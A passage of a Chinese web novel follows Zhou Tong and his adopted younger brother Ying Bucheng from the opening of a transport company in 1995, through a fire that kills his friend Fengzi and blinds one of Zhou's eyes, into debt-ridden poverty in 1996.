周瞳说,“一说这个我就头疼,我整不来那玩意儿,我没耐心哄小姑娘,吃个饭,就你问她吃啥,他说随便,我说吃面条,又不乐意了,跟我说今天打扮了,我合计打扮了咋不能吃面条了?但是生意在她爹手上,又没办法。”
风子说,“我瞧着你对孩子耐心好的很。”
周瞳说,“那能一样吗,小尘可不墨迹我,我说吃面条都乐上天了。”
风子说,“上回我跟他说,你要带他去西餐厅呢,你去没,别叫孩子等。”
周瞳尿完了,靠在门口抽烟,他说,“说来也奇怪,跟我出去吃面条乐歪了,你叫他吃西餐,他就没动静,舍不得我花钱,天天巴巴地等我回去。你这玩意儿,能没耐心?你稍微凶一点儿,人家眼泪吧嗒吧嗒掉,掉你手上,还是热乎的,谁的心不是肉长的?”
“小尘,我跟你说,到现在,谁都想从我身上吃点儿,我小尘跟我说,他给我攒钱,说我万一要用钱他能帮我,我看了,就那么点儿天天数。从小,我包里的钱他就拿呗,穷得时候他做饭,连盐都放半勺,吃的我人都没劲儿。我瞧着他,我知道真的心疼你的人的眼睛是啥样的。”
风子问,“今晚回哪儿?”
周瞳闭着眼睛坐在副驾驶,吹风了脑袋疼,“面粉厂。”
19. 1995[3]
纺织业在这一年蓬勃,厂子后面本来是几台回收来修一修的织布机已经成了十来台,饶有规模,周瞳的运输队沾上了纺织业,往上认识各类的老板,他们的布匹都要拉往全国各地。
花木运输生意也在有序的进行,来往不空车就是挣钱的,有时候还要叫外头的运输队也吃上一口汤,周瞳往外包,吃的钱不狠,帮忙了还管给人介绍小工,亲连亲带着人家的老婆孩子都来宜华,货车司机是个辛苦的行当,这周边的来这吃口饭总能顶上。
挖掘机跟大型农弄收割机的租借也能在这儿挂名,是这儿担保机器的农民都晓得不会被坑,这事儿周瞳不赚钱,直出直进,拉谷子稻子啥的生意还是落在这儿。
那个困惑了周瞳好几年的问题终于解开了答案。
为啥人家要找我干呢?我比人家强在哪呢?
按里程收费,价格透明。
不找借口加钱溢价,运输队的钱挣得干净。
货车司机在这儿都能受照顾,楼下有个简易的房子供他们吃饭睡觉。
但凡是来了生意的周瞳掐着点儿去维护,严禁司机们因为钱跟老板发生口角,拿不着钱周瞳垫着,自己个儿再去要,两头都讨个服务态度一流。
那年桂花飘香的时候。
「同尘」运输公司就要剪彩了。
意为,「和光同尘,山水同程」。
剪彩的时候风子叔那满脸的横肉都鼓掌得一直抖,他边上的娘娘腔叔叔打他,小眼镜擦了好几次眼镜,威哥带着人去放鞭炮,汪奶奶也来了。
在应不尘的印象里,那次的剪彩是哥哥最荣光的时候,运输公司的工地摆了好多酒席,好多人都来恭喜哥哥,好多不认识的人都说小时候抱过他。
哥哥穿这个花里胡哨的衬衫,上去讲话,奇怪,哥哥居然还会声音发抖,从来没听过他声音发抖。
哥哥讲了他要感谢的人,讲了他一路来的趣事,引得台下的人都在笑,他说不跟大家唠了,赶紧剪彩就要吃饭了,他肚子饿了,又引人发笑。
应不尘也在下面鼓掌,越过彩带,周瞳把应不尘捞了过去,好多人看他。
哥哥给应不尘一把剪刀,说,“哥跟你一起剪。”
应不尘看着台下那么多人看他,“哥,这么多人看我,我有点儿害怕,怕剪不开。”
哥小声说,“别怕,你就在哥身边,啥也别怕,剪坏了哥陪着你再剪一次。”
周瞳被招呼去喝酒,应不尘被他牵着,觥筹交错间,别人给周瞳敬酒,他看见周瞳仰头喝酒,然后留了一点点给应不尘,说,“今天这日子你也得喝,但是只能一点点。”
应不尘似乎看见了周瞳那会儿钉完鸡棚,自己给他端了一杯小小的热水,他也是这样,喝完了之后对自己说,“你也喝一点。”
哥哥没变。
1995年,二十岁的少年,他孤身赤脚从海边走来,带着一个捡来的弟弟,在宜华展露姓名。别人都说他年少有为,后生可畏。
***
一晃,冬天就悄然而至。
周瞳现在都不怎么跑车了,这事儿让应不尘松了口气。
他要么在办公室里算账,汪奶奶这么大把年纪还被他拽去了。
要么外地的老板来,周瞳就忙的不成了,最多的就是喝酒。
应不尘这时候已经五年级了。
周瞳有时候喝多了就让人送他回面粉厂,现在的周瞳不怎么在宾馆里睡觉了,他说,孩子长得太快了,几天不回去都要不认识。
但是有时候睡一会儿,他就被人叫走了。
叫走了,也是去喝酒,喝完酒就换地方,唱歌,唱卡拉OK。
这账单都记在周瞳的头上,花钱跟流水似的,唱歌得要仨女人陪,陪着陪着就不回来了。
周瞳没兴致,他要选眼睛。
一双他想要的眼睛。
想要这样的眼睛,却说不上来是什么样的眼睛。
面粉厂的板车,应不尘都不知道拉了他多少回。
应不尘往卡拉OK门口一站,拖着个板车,人家服务员就知道要去找周老板了。
周老板的弟弟有意思,他哥哥天天在卡拉OK撒钱,他的棉袄就那么几件,怀里抱着个脏兮兮的鲜荔枝暖水瓶。
周老板时而西装革履,时而像只花孔雀,周老板喝多了什么车都不坐,只躺他弟弟拖来的板车。
天一冷,周瞳的脚就像冰块一样,怎么也暖不过来。
“哥,”应不尘给他梳头发,他一喝酒就老挠头。“我每天能见着你,我心里踏实。”
“嗯?”周瞳睁开迷迷瞪瞪的眼睛,把应不尘抱在怀里,说,“我还以为公司起来了就好了呢,谁晓得开公司这么费劲。”
“我以为一开完,我就站在哪儿敲算盘,”周瞳捂了捂眼睛,说,“谁知道这么难弄,有些老板熟了就要挂账,挂了账又说货款没结,三角债,让我自己找人拿货款去。他娘的,要债可太费劲了,谈不拢。”
“不叫挂账我就得自己垫钱,”周瞳说,“谁的钱禁得住这么垫。还没以前自己跑大车爽快。”
“哥,”应不尘书梳完头发又问,“你挣多少钱够啊?”
“我哪有啥钱,我的钱就够你吃饭,公账又不是我的,你汪奶奶看着呢。”周瞳说,“我想添个小车都添不上。”
“你喜欢小车?”应不尘问,“我还以为你就喜欢大车呢。”
“谁不喜欢小车,”周瞳说,“开着小车带你出去兜风下馆子。”
“烧的都是钱,”应不尘说,“哥你有钱别乱造。”
“我回来吃你的饭跟吃斋饭似的,伙食太差了小子,”周瞳睁开眼睛,说,“别死抠那样子的,行不?”
“我以后啊,买房子,买车子,”周瞳抱着娃,说,“存折都叫你拿着,你看着哥的钱,行不?”
“我看不懂呢还。”应不尘说。
“你这抠搜样就是能攒着钱的,我攒不住。”周瞳说,“啥好的都想买,估计我是穷怕了。”
那个年代穷怕了的人太多了,应不尘啄了周瞳一口,说,“风子叔他们可好?”
“好着呢,合计处对象了,我都猜不着他处对象啥样,”周瞳说,“娘娘腔还要跟去看风子谈恋爱,他们去赶集,不让娘娘腔跟,娘娘腔在小眼镜那骂你风子叔不仗义,刚骂完,你风子叔给带了件啥衣服回来给娘娘腔,娘娘腔又好了。”
“他们咋这么招笑,”应不尘说,“那咱今年过年一起过不?”
“他们得回去老家,”周瞳说,“一帮人指着哥过年呢,累呀。”
但是哥回来睡觉就好了,哪怕回来就睡了。
摘手表,脱鞋子,松皮带,摘领带,脱袜子。
擦一擦,翻过去,再擦一擦。
梳梳头发哥就睡熟了。
应不尘还是跟从前一样,一到冬天就开始烘煤饼,因为面粉效应不好,食堂弄
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得乱七八糟,热水总是一股铁锈味道,还是温吞的,而且去晚了还没有了。
应不尘有一个铁盆子,里面都是爷爷给的碳,爷爷给的碳烘煤饼特别方便,他从食堂里拿的碳都烧好几张报纸都点不着。
但是爷爷已经没有了,那缸子里的碳从前好像从来也挖不完,现在还没多久,就要见底了,想到这里应不尘就想爷爷。
再也没有这样的碳了,应不尘得省着用。
周瞳说不好就什么时候回来,应不尘的热水瓶里总是装着热水。
那会儿的热水瓶保温不好,第二天就冷了,冷了就倒了,倒了就再烧,日复一日。
上次周瞳跟汪奶奶说话,应不尘听见了。
周瞳说,“这孩子老住这里不是一回事,但是公司里来往人太多,太杂了,等等吧,过年的时候,我处理一下,把小尘带在身边。”
应不尘一点儿也不觉得时间长,很快的。
过年,哥哥就会把他带在身边了。
应不尘烘煤饼。
从前爷爷都是将烧得火红的碳扔进罐子里就盖上盖子,也教应不尘没烧完的碳就放进铁盒子里,但是食堂的电视太好看了,里面的黑猫警长正在抓小偷。
应不尘把没烧完的碳放进铁盒子就跑了,怕赶不上黑猫警长骑着摩托车的速度。
铁皮盒早已被烧得薄薄一片,粗枝大叶的周瞳也从不管这些。
着火了。
火势先是从车棚里起,但是天冷没人在外面晃悠,等整个铁皮房都闹黑烟了,大家伙儿才看见,但是火势太快了,它轰地冲出来,就烧到了棚顶的塑料,边上的变压器嗙嗙地炸开了!
乱搭的电线此刻噼里啪啦的火光闪电,整个面粉厂都停了电,火势蔓延的速度太快了,为了装卸方便车棚后面就是仓库!
面粉冲出了漫天的火浪,一重又一重,就仅仅一会儿就将半个厂子烧成火蛇飞舞的炼狱,众人惊叫的逃跑,跳跃,车棚里的大货车炸了一辆又一辆,大货车的车底都已经开始滴起了柴油,众人有的去找消防队,有的就拿皮管子跟脸盆泼水!
“着火啦!”有人大喊,大家都往外面跑。
应不尘看见火光弥漫了半边天,看见了火焰冲起的巨浪,他实在害怕,跑出去就要找周瞳,有大人看见了他,一把子把他抱住了。
周瞳此时刚到厂门口,看见车棚方向的浓烟滚滚,棚顶砸落,便疯了一般要进去找人。
“看见孩子没?”
“看见孩子没啊!”
“孩子在不在里面啊!”
车棚里面不知是什么东西轱辘地掉了,周瞳喊,“尘儿还在里面!”
风子叔一直在周瞳身后,这会儿裹紧了衣服提着一根棍子就冲了进去,在车棚继续砸下来的时候,周瞳跑了进去!
塑料燃烧浓水一滴滴穿透周瞳的人造革的皮衣,滴落他的手臂,他用衣服包着脑袋一脚就踹开那摇摇欲坠的棚门,整个顶棚被烧坏了,整个一个的掉了下来!
车辆开始漏油,火蛇在地上扭曲地蔓延,二人徒手翻开烫的滚烫的钢板,再接着,那车厢的玻璃此刻炸了开来,置人死地一般的暗器向周瞳的眼睛袭来——
周瞳痛苦捂脸地倒在地上,他身边只有炽热的火焰,风子手臂被扎烂了,拖着周瞳往外走,此刻,那辆风风雨雨同程的大货车在一瞬间爆发出吞噬人的巨型火焰!
...
周瞳觉得,好像死了。
20. 1995[4]
周瞳被人拉出来的时候,脸上都是血。
而风子没出来。
应不尘呆呆地看着面前的火焰渐渐被扑灭,剩下一片废墟,他彻底傻了。
周瞳住院了,睡了四天才醒。
在周瞳昏迷的这段时间,风子的老母亲已经翻山越岭的来了,老太太摊着手,茫然地问大家,“我的小风呢?”
“我的小风呢?”
“我的小风说,过年带媳妇回来给我看看。”
大家告诉风子的母亲,这事儿不好说,仓库里有没有人抽烟留了下火种,或者有人恶意纵火,有待查明。
风子的母亲已经三天都没吃饭了。
周瞳的眼睛坏了,被包着,拄着拐,来看风子的母亲。
风子的亲戚们也都来了,指着周瞳骂,周瞳的耳边都是耳鸣的声音,根本听不听他们在说什么。
赔钱。
赔钱吧。
风子的女朋友已经怀孕了,她擦着眼泪,说要生下来。
那会儿大家才知道,当年帮着周瞳去打团伙,一声不吭就拉石头拉沙子,满脸横肉的男人,只比周瞳大了一岁。
风子的女朋友家里人来大闹,不让她把孩子生下来。
风子的女朋友对周瞳说,“周哥,风子,他...命都给你了,这是他的孩子...”
“我知道。”周瞳低声应着。
在医院的楼梯里周瞳抹了一把脸,那个满脸横肉会脸红的男人,再也不会送他回面粉厂了。
应不尘看见周瞳蹲在那里,胳膊挡在脸面前。
他的风子叔,消失在那场火汤里。
应不尘依稀听周瞳说过,他在逼风子学文化,但是风子连笔都握不住。
风子说,我学那玩意儿干啥,你有不就行了吗?
周瞳说,你自个儿的东西才是你的。
风子挠挠头说,我合计,我这辈子给你开车呢。
周瞳那会儿骂了一句,风子没出息,叫应不尘不能跟他学。
顿了一会儿,又说,不学文化也行,管一辈子呗。人这一辈子,有时候就一件事儿就够了。
应不尘缠在周瞳身上,说,“风子叔干啥了?”
周瞳说,“哥最难的时候,你风子叔不认识哥,就过命了。过命了,就得把命交人手上,我要是没了,让我选一个人养你,我分逼钱都没有,我都敢让风子养你,风子要饭都得养你,你懂没?”
消防队的人找到周瞳,说起火点就在车棚的那个铁皮房子里。
应不尘已经好几天都没说话了。
周瞳在拄着拐,站在医院的天台上抽了根烟。
运输公司连地皮都卖了,只要现金。
转得着急,换得三十多万,让风子的母亲与他的女朋友走了。
面粉厂的损失也定出来了,新厂长逮着这事没少往上面使劲儿,要把面粉厂这些年效益上的亏空补回来,仨大车,一车棚,一仓库,八百袋面粉,一个变压器,还有评测成危房的食堂。
零零总总加起来,大约九十六万的物损,在1995年冬。
天价。
那时候面粉厂一个劳务合同工的工资,才三百块,万元户都是了不得的事情。
天塌了。
刨开周瞳卖公司,卖地皮,卖机器剩下的钱,都赔了,还剩下六十万的债。
他什么都没有了。
同尘,真的成了被碾在地上的,薄薄的,细小的尘。
牌匾被扔在地上,它的大红花都还没有掉色。
***
应不尘不会说话了。
周瞳被包住了一只眼睛,应不尘坐在他的身边。
这已经是第七天了。
周瞳在他面前晃手,说,“装忧郁呢?”
应不尘垂着脑袋。
周瞳拍拍膝盖,说,“上来。”
应不尘不上来。
周瞳又重复了一次。
应不尘颤抖了一下,慢慢吞吞的爬上去了。
“干坏事啦?”周瞳把他拢进被子里,露出一个脑袋,“害怕啦?”
“没事儿。”周瞳抱着他说,“没事儿啊。”
“你是给哥烧热水洗脚,”周瞳说,“是不是?”
“咱才十岁呢,是吧,我们还小呢,”周瞳说,“咱又不是故意的,别害怕,有哥呢。不过哥受伤了你知道不?”
应不尘点点头。
“你应该照顾哥,哥就不生你气,行不行?看你表现,”周瞳说,“你能照顾好吗?”
“能。”应不尘终于说了这七天来的第一句话。
“那就行。”周瞳抱着他晃,“都说了,冬天了,就让你在我身边上,哥哪里都不去,是不是。”
要过年了,这次过年在医院。
旺旺饭店的两夫妻来过,塞钱,叫周瞳别回去了。
运输公司没了,小眼镜念单子的时候抹了好几把的眼睛,周瞳叫他自己账面上拿点儿,这有他的份。
娘娘腔钱也没要,人也没来,就这么消失在宜华了。
汪奶奶年纪大了,就不要来医院了。
周瞳的剪彩仪式摆了十来来桌,来看过他的人寥寥。
这年轻人翻不了身了。
应不尘倒是动起来了。
应不尘会自己去抢睡觉的陪床,啥也不干盯着周瞳的盐水,大大的眼睛就一直看。
周瞳去摸他的头,说,“你做作业,这东西我自己看。”
应不尘就不应该相信周瞳,他一转过来,就看见周瞳睡着了,血管都回血了。
应不尘晚上也蹲在旁边,当然了,不回去也没地方去。
“你看看人家孩子十岁啥样子!你看看你。”隔壁床的总是这样骂他那个十六七岁的儿子。
住院的日子,应不尘不高兴,因为周瞳的眼睛还没好。
但是周瞳天天不离身的在他身边,在他眼前。
周瞳总是有睡不完的觉,上不完的厕所。
“你咋这么招人烦呢,”周瞳说,“天天盯着我,可烦死我了。”
这是周瞳出去偷偷抽烟,被应不尘抓了。
应不尘轻轻说,“那你抽半根,行吗?今天过年。”
周瞳又乐了,说,“听你的。”
大年夜,二人坐在医院的天台上,烟火先是寂寥的几朵,接着就开始慢慢地变多了,最后闻到了很大的火炮味儿,烟花就绽开成星海。
“哥。”
没人答应。
应不尘又重复了一次,“哥?”
“嗯?”周瞳说,“说事儿。”
应不尘又叫了一声,“哥。”
“嗯。”周瞳说,“新年好。”
应不尘的鼻尖红红的,说,“你不好,都怪我。”
周瞳说,“眼睛啊?医生不是说了么,得到时候拿了纱布看,现在上哪儿知道,急啥。”
应不尘憋着,不说话。
周瞳又说,“钱啊?”
“钱这玩意儿也累挺,在外面跑车,出事的也多,我也不想干了,喝酒整得我胃疼,不干也行,干别的呗。”周瞳说,“过了年,哥也就21岁,怕啥的。”
“面粉厂老板就是想要钱,我好好的,我就有钱还他,我自己都过不去,我哪里来的钱还他。他比别人都盼哥好,”周瞳说,“真不是啥大事儿。”
“真的?”应不尘心虚极了,别人说的话他都听见了。
“真的啊,那人家,我跟人家打商量呗,人家大老板是吧,他那些车黄师傅都说要报废了,我按新车抵给他的,人家心里也知道。”周瞳说,“老板都欠钱。真的,我认识的老板就没有不欠债的。”
“真的啊。我骗你干啥。”周瞳一脸云淡风轻。
“哥。”应不尘从怀里挖出来一些钱,是他的小汽车存钱罐,他捡回来,当时这个存钱罐
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,买的时候人家说火都烧不烂,得十多元,周瞳老看他摆弄那个饼干盒子,边缘都喇手了,还每天都要数,“我攒的,都给你。”
“哟,给我发上压岁钱啦?”周瞳一张一张地数着,吸了下鼻子,说。“还不少。”
“都是你给的。”应不尘说,“哥,过年好。”
周瞳牵着应不尘,在医院的天台上,干杯了一杯热水。
下来的时候,汪奶奶托人送来了年夜饭。
年后住院约摸又住了七天,周瞳拆了纱布,医生搓着周瞳的肩膀,说,“别着急,以后慢慢,可能就恢复了。”
这个慢慢,也太慢了。
周瞳出院了,住在一间廉价的出租房里,是个半地下室,鲜少有阳光,阴湿寒冷,唯一的一扇小小窗户,有八根钢条铸着,像个监狱,天也总是不晴。
听说汪奶奶到处求情,硬了一辈子的脊梁为周瞳弯了,周瞳想,穷的时候,自己也只是送过一些不值钱的八宝粥跟牛奶,最贵的也只是那个跑车时候买的满是棉絮的玉手镯,有钱的时候,也只是办了一场不值钱的法事。
再有什么,就是口水搭成的孝心。
与汪家的雪中送炭比起来,周瞳连锦上添花都不算。
老师奶奶太老了,她自从骑车摔了学校将她辞退之后就不与学校来往了,这次却厚着脸皮去求校长,最后不知道奶奶到底做了什么,反正周瞳只是欠了很多钱。
本来这种事,要坐牢的。
周瞳瞎了一只眼睛,好眼蒙上了,就只能看见大概的影,知道这个之后应不尘畏畏缩缩得像个老鼠,这段日子,他的眼泪都已经要流干了,他现在听见黑猫警长的声音都要干呕,害怕,颤抖。
应不尘睡醒了就开始干呕,干呕着就开始哭泣。
明明,一切都已经好起来了,自己为什么要去烧那该死的煤饼?
明明,哥哥这么努力才有了这一切,应不尘亲眼见过的,他意气风发,春风得意,那个穿着皮夹克上大货车,带着墨镜,咧着一口大白眼的周瞳,为什么是会被自己毁了?
应不尘缩在墙角,几天都吃不下饭,周瞳给他喂水,逗趣他,“这回哥娶不上媳妇了,你就不用操心了。”
应不尘眼角含泪,他看着周瞳,懂又不懂地说,“哥,为啥我没给自己烧死在里面啊?”
天还没热,但是半地下室太闷了,应不尘喘不上气,他直勾勾的看着周瞳,“我为什么要害你啊?”
“我怎么就这么蠢,”应不尘歪着头,问,“我咋就不死?”
周瞳不知道他的情绪有这么大,手上的勺子也掉了,周瞳抱着应不尘,轻轻地晃啊晃,故作轻松说,“净能瞎说。”
“你那么小,就要给我洗衣服做饭,读书读得又好,又懂事,是不是。”周瞳说,“这都是意外。”
“意外都会有的,哥还觉得是哥最近太顺当了,人太顺当的时候就容易有祸事,但是你看,你活着,我也活着,咱就当,当做了一场梦,行吗?”周瞳的眼睛都要疼死了,一上眼泪就容易眨不上眼睛。
应不尘在他的怀里,摸着周瞳的眼皮,“哥,你的眼睛疼吗?”
周瞳说,“你摸摸就不疼。”
应不尘在他怀里抽泣,“哥,我的眼睛,可以给你吗?”
“傻不傻,”周瞳说,“那就看不见了。”
应不尘说,“哥,你怕吗?”
应不尘亮晶晶的眼睛看着周瞳,问,“哥,你怕吗?”
“看不见的时候。”
“不怕。”周瞳轻轻拍打着他的后背。
“也怕了...”
“哥怕你烧死了,哥不知道怎么活。”
“别哭,”周瞳捂住了应不尘的眼睛,“是哥的错,不是你的。”
“别哭。”周瞳捂得应不尘有点痛。
只有应不尘知道,二十岁风华正茂未来无限的周瞳,被他的一把火烧毁了。
21. 1996[1]
周瞳自从眼睛不好了之后一开灯就流眼泪,应不尘经常能看见他沉默地坐在潮湿的床板上抽烟。
周瞳也不是没有出去过,只是他的眼睛畏光,而且他一直都在跟大车打交道,现在瞎了只眼睛,从前的什么协议,什么合同,什么运输公司,什么修车厂,通通作废了。
周瞳又将烟掐灭了。
“那个,周老板,”人们总这么说,“您这个,情况不一样了嘛,互相理解,是不是。”
周瞳躺在床上抽烟,听见应不尘回来就掐烟。
“哥,”应不尘回来了。一回来就能看见那个八宝粥罐头里的烟头都满出来了。
应不尘去把烟灰倒了,拎着快餐菜,二人就沉默的吃饭。
“在学校好吧?”周瞳问。
“嗯。”应不尘说。
就没了。
应不尘不知道问什么,答案都摆眼前了。
每天就是一样的饭菜,一样的对白,一样的睡觉。
应不尘不敢,也没脸让周瞳抱着他。
这样的状况持续了好几个月。
应不尘的成绩越来越差。
期中考试的时候,老师找周瞳谈话。
周瞳胡子拉碴,头发很长,遮住了眼睛。
老师说,“你们家长自己都这个样子不着调,难怪孩子也不上进。挺好个孩子,你们做家长的,就这么浪费了?”
周瞳低垂着眼睛走了,也没跟应不尘打招呼,从前,周瞳还是只花孔雀的时候,路过应不尘的教室,挤眉弄眼,飞吻连连。
那会儿的应不尘人人艳羡。
应不尘今天回来的时候,站在门口就看见开灯了,他看见周瞳正在给自己剪头发,还在刮胡子。
“明天哥就去找活儿干,”周瞳说,“最近你也没好好读书,是不?”
应不尘上课的时候总是想到周瞳,一点心思都没有。
应不尘觉得周瞳就像暴风都吹不断的疯狂抽芽的大树,他只要想从烂泥巴地里起来就会费尽一百二十分的力气,重新挂上笑脸,好像一切都没有发生过,眼睛没坏,债也没欠。
周瞳这次瞄准的是音圈,96夏,发展好的城市越来越富裕,富裕之后就开始追求一些享受。
而留声机,喇叭,音响,随身听就成了好买卖。
迪斯科开始大范围的流行,在夜晚开门的音乐池里,谁也不知道那个在里头高谈阔论,风度翩翩的小伙子眼睛坏了。
周瞳从最开始整体销售开始,又到厂子里去干活儿,他的眼睛不好,弄起这些精细的东西总是费劲得多,那会儿,整个半地下室都堆满了废件。
周瞳没钱,都是赊的,卖完再去结利润,这是最差劲的卖法,里头的油水都被吃的干干净净,只能挣个辛苦费。
但是他就从这辛苦费里熬出来,去送礼,去喝酒,大头都花在了这些乱七八糟的地方,但是总是没起色的,搞这些东西的跟当时的面粉厂不一样,开大车的或者是面粉厂的那一帮基本周瞳接触的都是没文化,小聪明的这一帮,而这次的行当里,精明的人太多了。
精明这东西,得分年纪,如果周瞳再混个十来年,定然能混成个老鬼,但是他欠着一屁股债,别人都知道他没钱,他没钱,挣不到他的钱,什么要带着他一起玩儿呢?
生意圈子,都是你挣挣我的钱,我挣挣你的钱,或者你有设备我有钱,或者你有销路我有供应商,啥都没有的,人家都瞧不上,当个倒酒的都嫌他占地方。
周瞳原来那一套其实已经不好用了。
这段时间的应不尘总是看不见周瞳。
六年级之后,这里的学校就不允许借读,而是要赞助费了。不管小学读啥样,没户口初中都得借读,这里的赞助费高得惊人,如果没有的话,就只能回到自己的户籍所在地去。
应不尘害怕,他是知道的,周瞳根本就没有钱,他连摩丝都打不起了。
应不尘感觉,周瞳要离开他了,周瞳再也没泡过脚,也不允许他独自在家里烧热水了。
应不尘在心里盘算了半宿。
“哥,”应不尘说,“我不想读书了。”
“我去你吗的,”周瞳昼夜颠倒,刚睡醒,“你几岁啊,你不读书了。”
二人蹲在一张小桌板上吃饭,周瞳没把他说的话当回事。
“我就是不想读。”应不尘说。
“那你要干啥。”周瞳嚼着米饭,晚一点这祖宗睡了他还要出去给人开车接送人呢。
“我去做小工,去卖饲料,去养小鸡,”应不尘说,“我都不要读书了。”
“滚,”周瞳踢了他一脚,“闭嘴。”
“你现在十岁往上了,我把你当个正常人,”周瞳点了个烟,眯着眼说,“这种没□□子的话别墨迹了,爱读不读,不读滚蛋,别在我边上。”
周瞳骂他了。
应不尘好舒服,说不上来的那种舒服。
应不尘蹭着他,“我不滚。”
周瞳拿手指戳开他,说,“但是吧,这事儿你也不用有压力,读的好就读,读不好我也没办法,”周瞳扒拉了一口米饭,说,“但是得读。”
“我知道你担心什么,”周瞳说,“你的赞助费么,我惦记着呢。”
应不尘的眼睛红了,说,“这些鸡毛蒜皮的事情,你也记得。”
“这还鸡毛蒜皮?”周瞳说,“你读书,头等大事,你看看你哥现在混得这个圈,这圈的都有文化,他们赚的是文化的钱,音箱,你晓得吧?都大学生。”
“比从前弄大车那帮人,还厉害。”周瞳说,“就这不大点儿的一个喇叭单元,就那么点儿哥玩意儿,写上洋牌子,一个比一车谷子都贵。”
“你汪奶奶可跟我说了,”周瞳说,“你是个读书的料子,要不然也不能跳级,砸锅卖铁,我也供你。”
周瞳的话又开始多了,他哼着小曲儿,捏着自己的下巴,在镜子面前打理,说,“瞧瞧,什么叫天妒英才!”
应不尘从后面抱着周瞳,闷闷的叫了一声,“哥。”
“说事儿。”周瞳梳完头发了。
“哥,要是赞助费真的...”应不尘还是担心。
“我是你哥,但是我也是你爹,”周瞳收拾着自己亮晶晶的外套,像个孔雀似的,从前女老板总是爱跟他做生意的,“等有一天你当我爹的时候你再跟我墨迹。”
***
这一年,周瞳没有钱,但是应不尘的牙总是痛。
他的牙从小时候就没养好,又总吃些没营养的东西。周瞳出院之后有很多药,止痛的,有一个叫安乃近。
应不尘从最开始的吃一颗,到后面三颗都还是痛。
周瞳总是在跑供销,应不尘给他收拾包的时候,里面有时候只有几个钢镚跟两三张十元的纸币。
从前在面粉厂的时候,家里有个罐子,在盐罐子边上,周瞳说,老爷们身上咋能不揣钱,要就去罐子里拿,但是要跟周瞳说。
现在周瞳没有钱了,那个罐子里的硬币却总是不见少的。
周瞳总是把硬币放在那,任由应不尘拿,他这种粗心的人,根本不知道那里少了多少。
应不尘在晚上又牙痛,痛得喝了白酒都不顶用。
在天快要黑的时候,周瞳回来了,他看见散落的药盒子,拽着应不尘就去看牙医。
医生说,“这孩子的牙都坏成这样了,你们这些做家长的怎么才来?”
哥被训成了孙子,还扭头吓唬应不尘。
应不尘站在他身后笑嘻嘻的,从门外露出半拉脑袋,一口烂牙。
“是是是,那咱现在怎么办呢?”周瞳老实得像个学生,站在牙医椅子边上问。
看着特别好笑。
“这一排蛀牙收拾完,就给补了。”牙医说,“去交钱吧,六十五。”
周瞳哪有那么多钱呢?
可是不治疗应不尘的牙还是要痛。
周瞳一拍脑门,说,“哟,你看我,带孩子出来太急了,我拿错包了嘿,我装钱的那个包啊还在家里头呢,这样,我现在就回去取,您先给孩子治。”
医生见惯了这种人,不买账,带上眼镜,看也不看他,“交钱,治牙。”
应不尘这会儿觉得不好笑了,捏捏周瞳的手,想回去了。
自己总是给哥惹麻烦,刚刚去厕所含了一口水,现在好多了。
“您这样,您先让孩子别这么疼行吗?”周瞳好声好气,在医生边上说好话,“钱我肯定给您拿过来,您行个方便,您帮帮我,孩子疼,我这...”实在没招了。
“交钱。”牙医似是不耐烦了,上下打量着周瞳,发现他流里流气,眼睛还瞎了一只,更不耐烦,“没钱治什么!养孩子要负责任!不负责任你生出来干啥?”
周瞳还在小心的赔礼,说,“我给您把我东西都压在这儿行吗,您先治,我怕一会儿我回来您关门了。”
牙医这会儿看了看应不尘,说,“我今天档案没做完,会很晚,你来就行了。”
周瞳双手合十,说,“感谢感谢。”就要掏烟,被婉拒了。
应不尘见不得周瞳这样,哪怕周瞳觉得没啥。
他习惯了,这一年,他习惯了在外面当孙子。
当时,周瞳说,“孩子真是一年一个样啊。”
周瞳忘了,如果他的家里人还在,他也只是个二十一岁的孩子。
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应不尘被周瞳牵着手,但是他还是牙疼,总是伸着手指进去抠牙,怎么也说不听。
周瞳把应不尘背起来,其实应不尘已经很高了,就是同龄人之中,他的个子还是不咋行,他的两只手抓到面前来,说,“你小子,牙疼怎么不跟哥说?”
“哥没钱。”应不尘说,“都是因为我。”
“有你啥事儿。”周瞳说,“别觉得自己能担事儿啊,不就几个臭钱么,哥挣不就完了吗?”
前面是个典当铺子,周瞳摘了他的那一块梅花手表,当年周老板在省城买的三百块贼有样的梅花表,只折出来七十五块,就数字还是老板好心给的,原因是上面有一道重重的划痕,
“嘿我草,”周瞳笑嘻嘻的说,“你看完牙咱俩还能搓一顿。”
应不尘不愿意。
他始终记得,自己趁着周瞳睡觉的时候,在手表的八点位置,拿螺丝刀剜了一个口子,还美滋滋的跟周瞳说,“八点钟,你要回家的,你看见,你就记得了。”
“你这个混小子,”周瞳知道的时候可是心疼了好一会儿,扬起的手又说,“哥记着了。”
手表没了,周瞳的手腕空着,他总是习惯性的抬手,他重新带上这块表的时候还跟应不尘说了,“我下回再摘,肯定是换了个更贵的。”
现在好了,越过越回去了。
应不尘觉得不舒服。
自己牙痛又不会痛死人,多吃一些安乃近不就好了吗?
周瞳说,“想啥呢?”
应不尘别别扭扭的,说,“我牙不痛了,我害怕,那里有电钻,我不想去。”
“哥抱着你,不怕。”周瞳说,“牙要是坏了,以后还要遭罪。手表卖都卖了,以后挣回来不就成了吗?”
“有点志气行不行,哥难道还一辈子带那个破梅花啊?”周瞳说着话,牵着应不尘去看牙。
看完牙出来,应不尘总是一口一口的吐血,也不知道是不是师傅的手法不太娴熟,结果是,这晚上的应不尘发烧了。
周瞳要给应不尘去看病,但是兜里没钱,手表也卖了,其他的都是一些不值钱的破烂,而且已经深更半夜,能找谁呢?
应不尘觉得周瞳就是小题大做。
“哥,你抱着我,抱着我睡了就好了。”应不尘说。
地下室实在太潮了,衣服几天都烘不干,上厕所都要出去好远找旱厕,堆了个柜子跟煤气灶就挤得已经都没地了。
外面的路灯照进来。
周瞳脱了衣服,晾着自己,冷的发抖,就抱住应不尘。
周瞳抱着他,安抚着,揉在怀里,轻声的斥责自己,“哥没出息。”
这句话,应不尘只在三年前听过。
他已经很久,很久都没有这样说自己了。
应不尘烧得迷迷糊糊,蹭着周瞳的下巴,他有胡渣,蹭着痒,应不尘总觉得周瞳身上有味道,说不上来,就是好闻。
“哥,你香。”应不尘蜷成一个窝在他怀里。
“我香个蛋啊。”周瞳捂着他的脸。
应不尘又蹭了蹭,说,“哥,我要天天发烧,天天叫你抱着。”
“滚你吗的,”周瞳点着他的脑门,说,“大孩子了,能有点出息啊?”
应不尘更往周瞳脖子上蹭,“哥,我喜欢你。”
“喜欢哥就听哥话,好好读书,”周瞳又点着他的脑袋,说,“知道了没?”
“嗯,”应不尘说,“哥,你这样抱别人吗?”
